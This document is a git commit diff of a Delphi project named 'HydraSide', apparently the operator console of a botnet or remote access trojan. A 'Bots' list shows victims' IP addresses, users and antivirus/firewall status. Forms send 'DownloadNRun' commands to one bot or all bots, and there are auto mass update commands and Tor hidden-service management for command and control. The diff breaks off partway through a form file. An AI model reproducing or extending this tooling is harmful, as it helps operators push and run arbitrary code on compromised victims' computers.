commit 6390d96d7a7027c912628e60f7a17fdea0df9843 Author: kaetla Date: Sun Jun 5 14:54:09 2022 +0100 first commit diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000..bdb0cab --- /dev/null +++ b/.gitattributes @@ -0,0 +1,17 @@ +# Auto detect text files and perform LF normalization +* text=auto + +# Custom for Visual Studio +*.cs diff=csharp + +# Standard to msysgit +*.doc diff=astextplain +*.DOC diff=astextplain +*.docx diff=astextplain +*.DOCX diff=astextplain +*.dot diff=astextplain +*.DOT diff=astextplain +*.pdf diff=astextplain +*.PDF diff=astextplain +*.rtf diff=astextplain +*.RTF diff=astextplain diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..78e5f11 --- /dev/null +++ b/.gitignore @@ -0,0 +1,54 @@ +# Uncomment these types if you want even more clean repository. But be careful. +# It can make harm to an existing project source. Read explanations below. +# +# Resource files are binaries containing manifest, project icon and version info. +# They can not be viewed as text or compared by diff-tools. Consider replacing them with .rc files. +#*.res +# +# Type library file (binary). In old Delphi versions it should be stored. +# Since Delphi 2009 it is produced from .ridl file and can safely be ignored. +#*.tlb +# +# Diagram Portfolio file. Used by the diagram editor up to Delphi 7. +# Uncomment this if you are not using diagrams or use newer Delphi version. +#*.ddp +# +# Visual LiveBindings file. Added in Delphi XE2. +# Uncomment this if you are not using LiveBindings Designer. +#*.vlb +# +# Deployment Manager configuration file for your project. Added in Delphi XE2. +# Uncomment this if it is not mobile development and you do not use remote debug feature. +#*.deployproj +# + +# Delphi compiler-generated binaries (safe to delete) +*.exe +*.dll +*.bpl +*.bpi +*.dcp +*.so +*.apk +*.drc +*.map +*.dres +*.rsm +*.tds +*.dcu +*.lib + +# Delphi autogenerated files (duplicated info) +*.cfg +*Resource.rc + +# Delphi local files (user-specific info) +*.local +*.identcache +*.projdata +*.tvsconfig +*.dsk + +# Delphi history and backups +__history/ +*.~* diff --git a/Client/.gitignore b/Client/.gitignore new file mode 100644 index 0000000..38b6bd0 --- /dev/null +++ b/Client/.gitignore @@ -0,0 +1,10 @@ +*.dcu +*.~*~ +*.local +*.identcache +__history +*.drc +*.map +*.exe +*.dll +bin/* \ No newline at end of file diff --git a/Client/PClient.dpr b/Client/PClient.dpr new file mode 100644 index 0000000..0aeb0ed --- /dev/null +++ b/Client/PClient.dpr @@ -0,0 +1,33 @@ +program PClient; + +uses + Vcl.Forms, + windows, + UMian in 'UMian.pas' {Form1}, + USettings in 'USettings.pas', + UAbout in 'UAbout.pas' {Form2}, + UFunctions in 'UFunctions.pas', + UDownloader in 'UDownloader.pas' {Form3}, + UAutoDownloader in 'UAutoDownloader.pas' {Form4}, + UAutoUpdate in 'UAutoUpdate.pas' {Form5}, + UMassDownloaderpas in 'UMassDownloaderpas.pas' {Form6}, + Updater in 'Updater.pas' {Form7}, + UClientSettings in 'UClientSettings.pas', + UTorManage in 'UTorManage.pas' {Form8}; + +{$R *.res} + +begin + //check local user for settings + Application.Initialize; + Application.MainFormOnTaskbar := True; + Application.CreateForm(TForm1, Form1); + Application.CreateForm(TForm2, Form2); + Application.CreateForm(TForm3, Form3); + Application.CreateForm(TForm4, Form4); + Application.CreateForm(TForm5, Form5); + Application.CreateForm(TForm6, Form6); + Application.CreateForm(TForm7, Form7); + Application.CreateForm(TForm8, Form8); + Application.Run; +end. diff --git a/Client/PClient.dproj b/Client/PClient.dproj new file mode 100644 index 0000000..84e01da --- /dev/null +++ b/Client/PClient.dproj @@ -0,0 +1,173 @@ + + + {192F76E0-5A8E-4D8F-80D6-62C2BE5241DF} + 13.4 + VCL + PClient.dpr + True + Debug + Win32 + 1 + Application + + + true + + + true + Base + true + + + true + Base + true + + + true + Base + true + + + true + Cfg_1 + true + true + + + true + Base + true + + + System;Xml;Data;Datasnap;Web;Soap;Vcl;Vcl.Imaging;Vcl.Touch;Vcl.Samples;Vcl.Shell;$(DCC_Namespace) + $(BDS)\bin\delphi_PROJECTICON.ico + fmx;rtl;dbrtl;IndySystem;DbxClientDriver;bindcomp;inetdb;DBXInterBaseDriver;DataSnapCommon;DataSnapClient;DataSnapServer;DataSnapProviderClient;xmlrtl;ibxpress;DbxCommonDriver;IndyProtocols;DBXMySQLDriver;dbxcds;soaprtl;bindengine;DBXOracleDriver;dsnap;DBXInformixDriver;IndyCore;fmxase;CloudService;DBXFirebirdDriver;inet;fmxobj;inetdbxpress;DBXSybaseASADriver;fmxdae;dbexpress;DataSnapIndy10ServerTransport;IPIndyImpl;$(DCC_UsePackage) + .\$(Platform)\$(Config) + .\$(Platform)\$(Config) + + + TeeDB;vclib;Tee;DBXOdbcDriver;acntDelphiXE2_R;DBXSybaseASEDriver;vclimg;vclactnband;TeeUI;vcldb;vcldsnap;vclie;vcltouch;DBXDb2Driver;websnap;VclSmp;vcl;DataSnapConnectors;DBXMSSQLDriver;dsnapcon;vclx;webdsnap;adortl;$(DCC_UsePackage) + + + madBasic_;vcldbx;frx16;TeeDB;vclib;inetdbbde;Tee;DBXOdbcDriver;acntDelphiXE2_R;madDisAsm_;JclContainers;svnui;DBXSybaseASEDriver;vclimg;frxDB16;intrawebdb_120_160;fmi;fs16;vclactnband;FMXTee;TeeUI;vcldb;vcldsnap;vclshlctrls;Jcl;vclie;madExcept_;vcltouch;Intraweb_120_160;DBXDb2Driver;websnap;vclribbon;frxe16;VclSmp;fsDB16;vcl;DataSnapConnectors;CoolTrayIconD16;DBXMSSQLDriver;CodeSiteExpressPkg;FmxTeeUI;dsnapcon;JclVcl;vclx;webdsnap;svn;JclDeveloperTools;bdertl;adortl;$(DCC_UsePackage) + true + Winapi;System.Win;Data.Win;Datasnap.Win;Web.Win;Soap.Win;Xml.Win;Bde;$(DCC_Namespace) + 1033 + $(BDS)\bin\default_app.manifest + CompanyName=;FileDescription=;FileVersion=1.0.0.0;InternalName=;LegalCopyright=;LegalTrademarks=;OriginalFilename=;ProductName=;ProductVersion=1.0.0.0;Comments= + + + DEBUG;$(DCC_Define) + false + true + true + true + + + false + + + false + RELEASE;$(DCC_Define) + 0 + false + + + + MainSource + + +
Form1
+
+ + +
Form2
+
+ + +
Form3
+
+ +
Form4
+
+ +
Form5
+
+ +
Form6
+
+ +
Form7
+
+ + +
Form8
+ dfm +
+ + Cfg_2 + Base + + + Base + + + Cfg_1 + Base + +
+ + Delphi.Personality.12 + + + + + False + False + 1 + 0 + 0 + 0 + False + False + False + False + False + 2057 + 1252 + + + + + 1.0.0.0 + + + + + + 1.0.0.0 + + + + Embarcadero LiveBindings Components FireMonkey + Embarcadero C++Builder Office 2000 Servers Package + Embarcadero C++Builder Office XP Servers Package + Microsoft Office 2000 Sample Automation Server Wrapper Components + Microsoft Office XP Sample Automation Server Wrapper Components + + + PClient.dpr + + + + + False + True + + + 12 + + + +
diff --git a/Client/PClient.res b/Client/PClient.res new file mode 100644 index 0000000..c287ee9 Binary files /dev/null and b/Client/PClient.res differ diff --git a/Client/UAbout.dfm b/Client/UAbout.dfm new file mode 100644 index 0000000..d0278aa --- /dev/null +++ b/Client/UAbout.dfm @@ -0,0 +1,41 @@ +object Form2: TForm2 + Left = 0 + Top = 0 + BorderStyle = bsSizeToolWin + Caption = 'About ' + ClientHeight = 151 + ClientWidth = 313 + Color = clBtnFace + Font.Charset = DEFAULT_CHARSET + Font.Color = clWindowText + Font.Height = -11 + Font.Name = 'Tahoma' + Font.Style = [] + OldCreateOrder = False + DesignSize = ( + 313 + 151) + PixelsPerInch = 96 + TextHeight = 13 + object Memo1: TMemo + Left = 0 + Top = 0 + Width = 313 + Height = 151 + Anchors = [akLeft, akTop, akRight, akBottom] + Lines.Strings = ( + ' HydraSide' + '' + 'Version : 0.1A' + '' + 'Credits ' + ' ' + 'krippler For winsock example .' + 'sam7sam7 For Av And Fw detection.' + 'Slayer616 for some of the functions.' + '' + '') + TabOrder = 0 + ExplicitHeight = 119 + end +end diff --git a/Client/UAbout.pas b/Client/UAbout.pas new file mode 100644 index 0000000..c1871cb --- /dev/null +++ b/Client/UAbout.pas @@ -0,0 +1,26 @@ +unit UAbout; + +interface + +uses + Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, + Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls; + +type + TForm2 = class(TForm) + Memo1: TMemo; + private + { Private declarations } + public + { Public declarations } + end; + +var + Form2: TForm2; + +implementation + +{$R *.dfm} + + +end. diff --git a/Client/UAutoDownloader.dfm b/Client/UAutoDownloader.dfm new file mode 100644 index 0000000..40b9339 --- /dev/null +++ b/Client/UAutoDownloader.dfm @@ -0,0 +1,64 @@ +object Form4: TForm4 + Left = 0 + Top = 0 + Caption = 'Auto Mass Download And Run ' + ClientHeight = 126 + ClientWidth = 495 + Color = clBtnFace + Font.Charset = DEFAULT_CHARSET + Font.Color = clWindowText + Font.Height = -11 + Font.Name = 'Tahoma' + Font.Style = [] + OldCreateOrder = False + OnShow = FormShow + PixelsPerInch = 96 + TextHeight = 13 + object GroupBox1: TGroupBox + Left = 8 + Top = 4 + Width = 481 + Height = 117 + Caption = 'Downloader' + TabOrder = 0 + object Label2: TLabel + Left = 32 + Top = 59 + Width = 52 + Height = 13 + Caption = 'Filename : ' + end + object Label1: TLabel + Left = 53 + Top = 19 + Width = 26 + Height = 13 + Caption = 'URL :' + end + object Button1: TButton + Left = 392 + Top = 83 + Width = 75 + Height = 25 + Caption = 'Send' + TabOrder = 0 + OnClick = Button1Click + end + object EdtPath: TEdit + Left = 90 + Top = 56 + Width = 377 + Height = 21 + TabOrder = 1 + Text = 'File.exe' + end + object EdtUrl: TEdit + Left = 90 + Top = 16 + Width = 377 + Height = 21 + TabOrder = 2 + Text = 'www.example.com/update.exe' + end + end +end diff --git a/Client/UAutoDownloader.pas b/Client/UAutoDownloader.pas new file mode 100644 index 0000000..f79c848 --- /dev/null +++ b/Client/UAutoDownloader.pas @@ -0,0 +1,63 @@ +unit UAutoDownloader; + +interface + +uses + Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, + Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls,usettings; + +type + TForm4 = class(TForm) + GroupBox1: TGroupBox; + Label2: TLabel; + Label1: TLabel; + Button1: TButton; + EdtPath: TEdit; + EdtUrl: TEdit; + procedure Button1Click(Sender: TObject); + procedure FormShow(Sender: TObject); + private + { Private declarations } + public + { Public declarations } + end; + +var + Form4: TForm4; + +implementation + +{$R *.dfm} + +uses UMian; + +procedure TForm4.Button1Click(Sender: TObject); +begin +if form1.a7.Checked = false then + begin + AutoCommand := 'DownloadNRun|' + EdtUrl.Text + '|' + EdtPath.Text; + AutoCommandSet := true; + showmessage('Command Set'); + form1.a7.Checked := true; + end + else + begin + showmessage('Command Reset'); + AutoCommand := ''; + AutoCommandSet := false; + form1.a7.Checked := false; + end; +sleep(100); +form4.Close; +end; +procedure closeCwindow(); +begin + form4.Close; +end; + +procedure TForm4.FormShow(Sender: TObject); +begin +// +end; + +end. diff --git a/Client/UAutoUpdate.dfm b/Client/UAutoUpdate.dfm new file mode 100644 index 0000000..673c29b --- /dev/null +++ b/Client/UAutoUpdate.dfm @@ -0,0 +1,40 @@ +object Form5: TForm5 + Left = 0 + Top = 0 + Caption = 'Auto Mass Update' + ClientHeight = 62 + ClientWidth = 505 + Color = clBtnFace + Font.Charset = DEFAULT_CHARSET + Font.Color = clWindowText + Font.Height = -11 + Font.Name = 'Tahoma' + Font.Style = [] + OldCreateOrder = False + PixelsPerInch = 96 + TextHeight = 13 + object Label1: TLabel + Left = 16 + Top = 27 + Width = 23 + Height = 13 + Caption = 'Url : ' + end + object Button1: TButton + Left = 423 + Top = 22 + Width = 75 + Height = 25 + Caption = 'Update' + TabOrder = 0 + OnClick = Button1Click + end + object EdtUrl: TEdit + Left = 45 + Top = 24 + Width = 372 + Height = 21 + TabOrder = 1 + Text = 'www.example.com\update.exe' + end +end diff --git a/Client/UAutoUpdate.pas b/Client/UAutoUpdate.pas new file mode 100644 index 0000000..0980619 --- /dev/null +++ b/Client/UAutoUpdate.pas @@ -0,0 +1,49 @@ +unit UAutoUpdate; + +interface + +uses + Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, + Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls,usettings; + +type + TForm5 = class(TForm) + Button1: TButton; + EdtUrl: TEdit; + Label1: TLabel; + procedure Button1Click(Sender: TObject); + private + { Private declarations } + public + { Public declarations } + end; + +var + Form5: TForm5; + +implementation + +{$R *.dfm} + +uses UMian; + +procedure TForm5.Button1Click(Sender: TObject); +begin +if form1.a9.Checked = false then + begin + AutoCommand := 'Supdate|' + EdtUrl.Text; + AutoCommandSet := true; + showmessage('Command Set'); + form1.a9.Checked := true; + form5.Close; + end + else + begin + showmessage('Command Reset'); + AutoCommand := ''; + AutoCommandSet := false; + form1.a9.Checked := false; + end; +end; + +end. diff --git a/Client/UClientSettings.pas b/Client/UClientSettings.pas new file mode 100644 index 0000000..a231192 --- /dev/null +++ b/Client/UClientSettings.pas @@ -0,0 +1,84 @@ +unit UClientSettings; + +interface + +uses inifiles,windows,sysutils,ufunctions; + +var +IniFile : TIniFile; + +Procedure ReadClientSettings(); +Procedure SaveClientSettings(); + +implementation + +uses UMian; + +Procedure ReadClientSettings(); +var +Tmp,Tor:boolean; +begin + iniFile := TIniFile.Create(getcurrentdir + '\' + 'UserSettings.ini'); + tmp := inifile.ReadBool('LoadSettings','LoadSettings',false); + Tor := inifile.ReadBool('Tor','AutoStart',false); + form1.EdtTorPath.Text := inifile.Readstring('Tor','TorPath',''); + if tmp = false then exit; + if tor = true then + begin + if FileExists(GetCurrentDir + form1.EdtTorPath.Text) then + begin + runapp(GetCurrentDir + form1.EdtTorPath.Text); + messagebox(0,'Tor Started','HydraSide Tor Started.',0); + end + else + begin + messagebox(0,'The Tor binary was not in the tor folder.','HydraSide Tor Not Found',0); + end; + end; + + form1.ConPasswrd.Text := inifile.ReadString('Client','ConnectionPassword',''); + form1.EdtPort.Text := inifile.ReadString('Client','ConnectionPort',''); + form1.CBStartSockOnOpen.Checked := inifile.ReadBool('Client','AutoConnect',false); + form1.CBShowNotif.Checked := inifile.ReadBool('Notification','NotificationBalloon',false); + form1.CBShowPopup.Checked := inifile.ReadBool('Notification','NotificationPopup',false); + form1.CBNotifyOnCon.Checked := inifile.ReadBool('Notification','NotifyOnConect',false); + form1.CBNotifyDisCon.Checked := inifile.ReadBool('Notification','NotifyOnDisconnect',false); + form1.LogConns.Checked := inifile.ReadBool('Logs','LogConnections',false); + form1.CBLogIncom.Checked := inifile.ReadBool('Logs','LogIncomming',false); + form1.CBLogConns.Checked := inifile.ReadBool('Logs','logOnConnect',false); + form1.CBLogDis.Checked := inifile.ReadBool('Logs','logOnDisconnect',false); + form1.EdtTorPath.Text := inifile.Readstring('Tor','TorPath',''); + form1.edtTorFiles.Text := inifile.ReadString('Tor','TorFiles',''); + form1.edtTorPort.Text := inifile.ReadString('Tor','TorPort',''); + form1.EdtTorec.Text := inifile.ReadString('Tor','Torecc',''); + form1.CbOpenTor.Checked := inifile.ReadBool('Tor','AutoStart',false); + form1.CBEnableDebug.Checked := inifile.ReadBool('Debugger','EnableDebugger',false); + form1.CBLoadSettings.Checked := inifile.ReadBool('LoadSettings','LoadSettings',false); + +end; + +Procedure SaveClientSettings(); +begin + iniFile := TIniFile.Create(getcurrentdir + '\' + 'UserSettings.ini'); + iniFile.WriteString('Client','ConnectionPassword',form1.ConPasswrd.Text); + iniFile.WriteString('Client','ConnectionPort',form1.EdtPort.Text); + iniFile.WriteBool('Client','AutoConnect',form1.CBStartSockOnOpen.Checked); + iniFile.WriteBool('Notification','NotificationBalloon',form1.CBShowNotif.Checked); + iniFile.WriteBool('Notification','NotificationPopup',form1.CBShowPopup.Checked); + iniFile.WriteBool('Notification','NotifyOnConect',form1.CBNotifyOnCon.Checked); + iniFile.WriteBool('Notification','NotifyOnDisconnect',form1.CBNotifyDisCon.Checked); + iniFile.WriteBool('Logs','LogConnections',form1.LogConns.Checked); + iniFile.WriteBool('Logs','LogIncomming',form1.CBLogIncom.Checked); + iniFile.WriteBool('Logs','logOnConnect',form1.CBLogConns.Checked); + iniFile.WriteBool('Logs','logOnDisconnect',form1.CBLogDis.Checked); + iniFile.WriteString('Tor','TorPath',form1.EdtTorPath.Text); + iniFile.WriteString('Tor','TorFiles',form1.edtTorFiles.Text); + iniFile.WriteString('Tor','TorPort',form1.edtTorPort.Text); + iniFile.WriteString('Tor','Torecc',form1.EdtTorec.Text); + iniFile.WriteBool('Tor','AutoStart',form1.CbOpenTor.Checked); + iniFile.WriteBool('Debugger','EnableDebugger',form1.CBEnableDebug.Checked); + iniFile.WriteBool('LoadSettings','LoadSettings',form1.CBLoadSettings.Checked); +end; + + +end. diff --git a/Client/UDownloader.dfm b/Client/UDownloader.dfm new file mode 100644 index 0000000..b274c6b --- /dev/null +++ b/Client/UDownloader.dfm @@ -0,0 +1,64 @@ +object Form3: TForm3 + Left = 0 + Top = 0 + BorderStyle = bsDialog + Caption = 'Downloader' + ClientHeight = 129 + ClientWidth = 495 + Color = clBtnFace + Font.Charset = DEFAULT_CHARSET + Font.Color = clWindowText + Font.Height = -11 + Font.Name = 'Tahoma' + Font.Style = [] + OldCreateOrder = False + PixelsPerInch = 96 + TextHeight = 13 + object GroupBox1: TGroupBox + Left = 8 + Top = 4 + Width = 481 + Height = 117 + Caption = 'Downloader' + TabOrder = 0 + object Label2: TLabel + Left = 31 + Top = 59 + Width = 52 + Height = 13 + Caption = 'Filename : ' + end + object Label1: TLabel + Left = 53 + Top = 19 + Width = 26 + Height = 13 + Caption = 'URL :' + end + object Button1: TButton + Left = 391 + Top = 83 + Width = 75 + Height = 25 + Caption = 'Send' + TabOrder = 0 + OnClick = Button1Click + end + object EdtPath: TEdit + Left = 89 + Top = 56 + Width = 377 + Height = 21 + TabOrder = 1 + Text = 'file.exe' + end + object EdtUrl: TEdit + Left = 90 + Top = 16 + Width = 377 + Height = 21 + TabOrder = 2 + Text = 'www.example.com/update.exe' + end + end +end diff --git a/Client/UDownloader.pas b/Client/UDownloader.pas new file mode 100644 index 0000000..42500a7 --- /dev/null +++ b/Client/UDownloader.pas @@ -0,0 +1,42 @@ +unit UDownloader; + +interface + +uses + Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, + Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls; + +type + TForm3 = class(TForm) + GroupBox1: TGroupBox; + Button1: TButton; + Label2: TLabel; + Label1: TLabel; + EdtPath: TEdit; + EdtUrl: TEdit; + procedure Button1Click(Sender: TObject); + private + { Private declarations } + public + { Public declarations } + end; + +var + Form3: TForm3; + +implementation + +{$R *.dfm} + +uses UMian; + +procedure TForm3.Button1Click(Sender: TObject); +begin +form1.TCPServerSendStr('DownloadNRun|' + EdtUrl.Text + '|' + EdtPath.Text,strtoint(form1.Botz.Selected.Caption)); +sleep(100); +form3.Close; +end; + + + +end. diff --git a/Client/UFunctions.pas b/Client/UFunctions.pas new file mode 100644 index 0000000..af95181 --- /dev/null +++ b/Client/UFunctions.pas @@ -0,0 +1,85 @@ +unit UFunctions; + +interface + +uses shellapi,windows,tlHelp32,shfolder,SysUtils,IdTCPClient; + +Procedure runapp(Path:string); +function KillTask(ExeFileName: string): Integer; +function IsPortActive(AHost : string; APort : Word): boolean; +Procedure CheckForTorPort; + + +implementation + +uses umian; + +Procedure CheckForTorPort; +begin +Repeat + if not IsPortActive('localhost',strtoint(Form1.EdtTorPort.Text)) then + begin + form1.Torstate.Caption := 'Not Running'; + end + else + begin + Form1.Torstate.Caption := 'Running'; + end; + Sleep(6000); +Until 1 = 3; +end; + +function IsPortActive(AHost : string; APort : Word): boolean; +var + IdTCPClient : TIdTCPClient; +begin + Result := False; + try + IdTCPClient := TIdTCPClient.Create(nil); + try + IdTCPClient.Host := AHost; + IdTCPClient.Port := APort; + IdTCPClient.Connect; + Result := True; + finally + IdTCPClient.Free; + end; + except + //Ignore exceptions + end; +end; + +Procedure runapp(Path:string); +begin +ShellExecute(0, 'open',Pchar(path), nil, nil,1); +end; + +function KillTask(ExeFileName: string): Integer; +const + PROCESS_TERMINATE = $0001; +var + ContinueLoop: BOOL; + FSnapshotHandle: THandle; + FProcessEntry32: TProcessEntry32; +begin + Result := 0; + FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + FProcessEntry32.dwSize := SizeOf(FProcessEntry32); + ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32); + + while Integer(ContinueLoop) <> 0 do + begin + if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) = + UpperCase(ExeFileName)) or (UpperCase(FProcessEntry32.szExeFile) = + UpperCase(ExeFileName))) then + Result := Integer(TerminateProcess( + OpenProcess(PROCESS_TERMINATE, + BOOL(0), + FProcessEntry32.th32ProcessID), + 0)); + ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32); + end; + CloseHandle(FSnapshotHandle); +end; + +end. diff --git a/Client/UMassDownloaderpas.dfm b/Client/UMassDownloaderpas.dfm new file mode 100644 index 0000000..69407b5 --- /dev/null +++ b/Client/UMassDownloaderpas.dfm @@ -0,0 +1,63 @@ +object Form6: TForm6 + Left = 0 + Top = 0 + Caption = 'Form6' + ClientHeight = 133 + ClientWidth = 496 + Color = clBtnFace + Font.Charset = DEFAULT_CHARSET + Font.Color = clWindowText + Font.Height = -11 + Font.Name = 'Tahoma' + Font.Style = [] + OldCreateOrder = False + PixelsPerInch = 96 + TextHeight = 13 + object GroupBox1: TGroupBox + Left = 8 + Top = 4 + Width = 481 + Height = 125 + Caption = 'Downloader' + TabOrder = 0 + object Label2: TLabel + Left = 32 + Top = 59 + Width = 52 + Height = 13 + Caption = 'Filename : ' + end + object Label1: TLabel + Left = 53 + Top = 19 + Width = 26 + Height = 13 + Caption = 'URL :' + end + object Button1: TButton + Left = 392 + Top = 83 + Width = 75 + Height = 25 + Caption = 'Send' + TabOrder = 0 + OnClick = Button1Click + end + object EdtPath: TEdit + Left = 90 + Top = 56 + Width = 377 + Height = 21 + TabOrder = 1 + Text = 'File.exe' + end + object EdtUrl: TEdit + Left = 90 + Top = 16 + Width = 377 + Height = 21 + TabOrder = 2 + Text = 'www.example.com/update.exe' + end + end +end diff --git a/Client/UMassDownloaderpas.pas b/Client/UMassDownloaderpas.pas new file mode 100644 index 0000000..7a9dc64 --- /dev/null +++ b/Client/UMassDownloaderpas.pas @@ -0,0 +1,43 @@ +unit UMassDownloaderpas; + +interface + +uses + Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, + Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls; + +type + TForm6 = class(TForm) + GroupBox1: TGroupBox; + Label2: TLabel; + Label1: TLabel; + Button1: TButton; + EdtPath: TEdit; + EdtUrl: TEdit; + procedure Button1Click(Sender: TObject); + private + { Private declarations } + public + { Public declarations } + end; + +var + Form6: TForm6; + +implementation + +{$R *.dfm} + +uses UMian; + +procedure TForm6.Button1Click(Sender: TObject); +var +Folder,style:string; +begin + +form1.TCPServerSendtoall('DownloadNRun|' + EdtUrl.Text + '|' + EdtPath.Text ); +sleep(100); +form6.Close; +end; + +end. diff --git a/Client/UMian.dfm b/Client/UMian.dfm new file mode 100644 index 0000000..c263e6c --- /dev/null +++ b/Client/UMian.dfm @@ -0,0 +1,641 @@ +object Form1: TForm1 + Left = 0 + Top = 0 + Caption = 'HydraSide 0.1 A' + ClientHeight = 507 + ClientWidth = 846 + Color = clBtnFace + Font.Charset = DEFAULT_CHARSET + Font.Color = clWindowText + Font.Height = -11 + Font.Name = 'Tahoma' + Font.Style = [] + Menu = MainMenu1 + OldCreateOrder = False + OnClose = FormClose + OnCreate = FormCreate + DesignSize = ( + 846 + 507) + PixelsPerInch = 96 + TextHeight = 13 + object Label7: TLabel + Left = 488 + Top = 8 + Width = 125 + Height = 13 + Caption = 'Number of Connections : ' + end + object ConnsLab: TLabel + Left = 619 + Top = 8 + Width = 6 + Height = 13 + Caption = '0' + end + object Label8: TLabel + Left = 653 + Top = 8 + Width = 68 + Height = 13 + Caption = 'Socket State :' + end + object SockState: TLabel + Left = 727 + Top = 8 + Width = 43 + Height = 13 + Caption = 'Disactive' + end + object Label9: TLabel + Left = 328 + Top = 8 + Width = 52 + Height = 13 + Caption = 'Tor State :' + end + object TorState: TLabel + Left = 386 + Top = 8 + Width = 59 + Height = 13 + Caption = 'Not Running' + end + object PageControl1: TPageControl + Left = 8 + Top = 19 + Width = 838 + Height = 480 + ActivePage = Settings + Anchors = [akLeft, akTop, akRight, akBottom] + TabOrder = 0 + object Bots: TTabSheet + Caption = 'Bots' + DesignSize = ( + 830 + 452) + object Botz: TListView + Left = 3 + Top = 3 + Width = 824 + Height = 446 + Anchors = [akLeft, akTop, akRight, akBottom] + Columns = < + item + Caption = 'Socket' + end + item + Caption = 'HWID' + Width = 70 + end + item + Caption = 'Group' + Width = 100 + end + item + Caption = 'IP' + Width = 95 + end + item + Caption = 'Local IP' + Width = 95 + end + item + Caption = 'User' + Width = 120 + end + item + Caption = 'OS' + Width = 120 + end + item + Caption = 'Version' + Width = 70 + end + item + Caption = 'Av / Fw' + Width = 100 + end> + GridLines = True + ReadOnly = True + PopupMenu = ClientPopup + TabOrder = 0 + ViewStyle = vsReport + end + end + object Settings: TTabSheet + Caption = 'Settings' + ImageIndex = 2 + object Connection: TGroupBox + Left = 3 + Top = 3 + Width = 326 + Height = 78 + Caption = 'Connection Settings' + TabOrder = 0 + object Label1: TLabel + Left = 16 + Top = 24 + Width = 113 + Height = 13 + Caption = 'Connection Password : ' + end + object Label2: TLabel + Left = 99 + Top = 51 + Width = 30 + Height = 13 + Caption = 'Port : ' + end + object ConPasswrd: TEdit + Left = 135 + Top = 21 + Width = 166 + Height = 21 + TabOrder = 0 + Text = '1234abcd' + end + object EdtPort: TEdit + Left = 135 + Top = 48 + Width = 166 + Height = 21 + TabOrder = 1 + Text = '1515' + end + end + object GroupBox1: TGroupBox + Left = 335 + Top = 3 + Width = 457 + Height = 182 + Caption = 'Tor Settings' + TabOrder = 1 + object Label3: TLabel + Left = 16 + Top = 24 + Width = 51 + Height = 13 + Caption = 'Tor Path : ' + end + object Label4: TLabel + Left = 17 + Top = 51 + Width = 50 + Height = 13 + Caption = 'Tor Files : ' + end + object Label5: TLabel + Left = 18 + Top = 102 + Width = 49 + Height = 13 + Caption = 'Tor Port : ' + end + object Label6: TLabel + Left = 7 + Top = 78 + Width = 60 + Height = 13 + Caption = 'Torrc Path : ' + end + object EdtTorPath: TEdit + Left = 73 + Top = 21 + Width = 366 + Height = 21 + TabOrder = 0 + Text = '\TorBin\Tor.exe' + end + object edtTorFiles: TEdit + Left = 73 + Top = 48 + Width = 366 + Height = 21 + TabOrder = 1 + Text = '\TorHostFiles\' + end + object edtTorPort: TEdit + Left = 73 + Top = 102 + Width = 121 + Height = 21 + TabOrder = 2 + Text = '9050' + end + object EdtTorec: TEdit + Left = 73 + Top = 75 + Width = 368 + Height = 21 + TabOrder = 3 + Text = '\Torrc\Torrc' + end + object Button1: TButton + Left = 157 + Top = 146 + Width = 75 + Height = 25 + Caption = 'Start Tor' + TabOrder = 4 + OnClick = Button1Click + end + object Button2: TButton + Left = 238 + Top = 146 + Width = 75 + Height = 25 + Caption = 'Stop Tor' + TabOrder = 5 + OnClick = Button2Click + end + object Button3: TButton + Left = 319 + Top = 146 + Width = 135 + Height = 25 + Caption = 'Manage Tor Services' + TabOrder = 6 + OnClick = Button3Click + end + object CbOpenTor: TCheckBox + Left = 224 + Top = 102 + Width = 169 + Height = 17 + Caption = 'Start Tor On Client Opened' + TabOrder = 7 + end + end + object GroupBox2: TGroupBox + Left = 3 + Top = 87 + Width = 326 + Height = 98 + Caption = 'Notification Settings' + TabOrder = 2 + object CBShowNotif: TCheckBox + Left = 16 + Top = 20 + Width = 201 + Height = 17 + Caption = 'Show Notification Balloon' + TabOrder = 0 + OnClick = CBShowNotifClick + end + object CBShowPopup: TCheckBox + Left = 16 + Top = 43 + Width = 145 + Height = 17 + Caption = 'Show Popup Notification' + TabOrder = 1 + OnClick = CBShowPopupClick + end + object CBNotifyOnCon: TCheckBox + Left = 168 + Top = 20 + Width = 133 + Height = 17 + Caption = 'Notify On Connect' + Enabled = False + TabOrder = 2 + end + object CBNotifyDisCon: TCheckBox + Left = 167 + Top = 43 + Width = 134 + Height = 17 + Caption = 'Notify On Disconnect' + Enabled = False + TabOrder = 3 + end + end + object GroupBox3: TGroupBox + Left = 3 + Top = 191 + Width = 326 + Height = 154 + Caption = 'Connection logs' + TabOrder = 3 + object LogConns: TCheckBox + Left = 16 + Top = 24 + Width = 97 + Height = 17 + Caption = 'Log Connections' + TabOrder = 0 + OnClick = LogConnsClick + end + object CBLogIncom: TCheckBox + Left = 32 + Top = 47 + Width = 185 + Height = 17 + Caption = 'Log Attempted Connections' + Enabled = False + TabOrder = 1 + end + object CBLogDis: TCheckBox + Left = 32 + Top = 70 + Width = 153 + Height = 17 + Caption = 'Log Disconnect'#39's' + Enabled = False + TabOrder = 2 + end + object CBLogConns: TCheckBox + Left = 32 + Top = 93 + Width = 153 + Height = 17 + Caption = 'Log Connection'#39's' + Enabled = False + TabOrder = 3 + end + end + object GroupBox4: TGroupBox + Left = 335 + Top = 191 + Width = 457 + Height = 64 + Caption = 'Debugging' + TabOrder = 4 + object CBEnableDebug: TCheckBox + Left = 18 + Top = 24 + Width = 208 + Height = 17 + Caption = 'Enable Debugging Window' + TabOrder = 